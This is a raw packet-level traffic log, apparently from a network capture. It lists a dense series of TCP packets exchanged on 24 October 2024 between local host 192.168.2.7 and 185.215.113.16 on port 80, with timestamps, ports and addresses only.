Oct 24, 2024 04:02:04.551850080 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.551881075 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.551887989 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.551918030 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.551923990 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.551951885 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.551954985 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.551989079 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.551994085 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.552026033 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.552037001 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.552064896 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.552213907 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.552263021 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.552288055 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.552323103 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.552344084 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.552365065 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593276978 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593333006 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593332052 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593377113 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593388081 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593425035 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593429089 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593460083 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593470097 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593496084 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593502045 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593533993 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593549013 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593584061 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593588114 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593620062 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593626976 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593655109 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593656063 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593691111 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593705893 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593741894 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593748093 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593777895 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593785048 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593812943 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593832970 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593858004 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593888044 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593933105 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.593981981 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.593991995 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.594027996 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.594029903 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.594063997 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.594073057 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.594099998 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.594105959 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.594137907 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.594142914 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.594177961 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.594264030 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.594294071 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.594305992 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.594331980 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.594347954 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.594382048 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.594383955 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.594419956 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.594423056 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.594458103 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.634710073 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.634743929 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.634792089 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.634797096 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.634812117 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.634829044 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.634846926 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.634871960 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669034958 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669091940 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669116020 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669122934 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669132948 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669158936 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669158936 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669194937 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669198990 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669229031 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669239998 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669277906 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669583082 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669631004 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669637918 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669677019 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669688940 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669712067 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669723034 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669756889 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669769049 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669799089 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669819117 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669838905 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669842958 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669888973 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669894934 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669929028 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.669946909 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669961929 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.669981956 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670030117 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670038939 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670074940 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670087099 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670108080 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670120955 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670144081 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670154095 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670178890 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670186043 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670216084 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670228958 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670253992 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670258999 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670295000 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670296907 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670346022 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670351982 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670387983 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670399904 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670423031 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670437098 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670459986 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670465946 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670504093 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670530081 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670579910 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670587063 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670635939 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670643091 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670679092 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670687914 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670713902 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670726061 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670763969 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670896053 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670929909 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670943975 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.670969009 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.670975924 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.671003103 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.671014071 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.671039104 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.671041965 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.671073914 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.671083927 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.671122074 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.671226978 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.671278000 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.671282053 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.671329021 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.671348095 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.671382904 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.671397924 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.671421051 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.671427011 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.671458006 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.671471119 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.671504021 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.671578884 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.671607971 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.671633005 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.671648979 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.712728024 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.712786913 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.712805033 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.712822914 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.712833881 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.712858915 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.712873936 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.712898016 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.712899923 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.712934971 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.712953091 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713001013 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713009119 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713043928 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713058949 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713078976 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713085890 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713113070 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713126898 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713150024 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713154078 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713186026 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713195086 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713243961 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713248014 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713291883 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713296890 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713332891 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713340998 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713368893 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713381052 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713404894 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713412046 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713454962 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713458061 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713493109 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713505030 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713529110 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713541031 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713562012 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713568926 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713608980 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713633060 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713681936 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713686943 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713733912 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713742018 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713785887 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713798046 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713821888 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.713829994 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.713869095 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.758371115 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.758409977 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.758445978 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.758452892 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.758481979 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.758502007 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.788409948 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788441896 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788475990 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788477898 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.788500071 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.788511992 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788523912 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.788547993 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788583040 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788595915 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.788619995 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788636923 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.788649082 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788662910 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.788692951 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.788701057 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788736105 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788747072 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.788772106 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788779020 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.788806915 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788815022 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.788846016 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788852930 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.788891077 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.788891077 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788925886 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788944006 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.788959026 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.788969994 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789011955 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789249897 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789279938 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789309978 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789314032 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789329052 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789350033 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789355993 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789386034 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789397955 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789422035 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789427996 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789458990 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789463043 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789515018 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789544106 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789566040 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789588928 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789594889 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789629936 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789638996 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789663076 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789680958 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789709091 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789720058 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789745092 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789752007 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789800882 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789866924 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789896011 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789916992 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789936066 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.789947033 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.789980888 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790000916 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790014029 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790023088 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790060043 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790074110 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790097952 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790102959 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790148973 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790175915 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790222883 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790229082 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790265083 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790280104 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790299892 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790308952 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790342093 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790505886 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790540934 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790555000 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790575981 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790585041 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790611982 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790621042 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790648937 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790654898 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790684938 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790699005 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790723085 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790730953 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790752888 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.790786982 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.790808916 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.831501007 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.831553936 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.831593037 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.831641912 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.831670046 CEST	49930	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:02:04.832312107 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.832349062 CEST	80	49930	185.215.113.16	192.168.2.7
Oct 24, 2024 04:02:04.832377911 CEST	49930	80	192.168.2.7	185.215.113.16
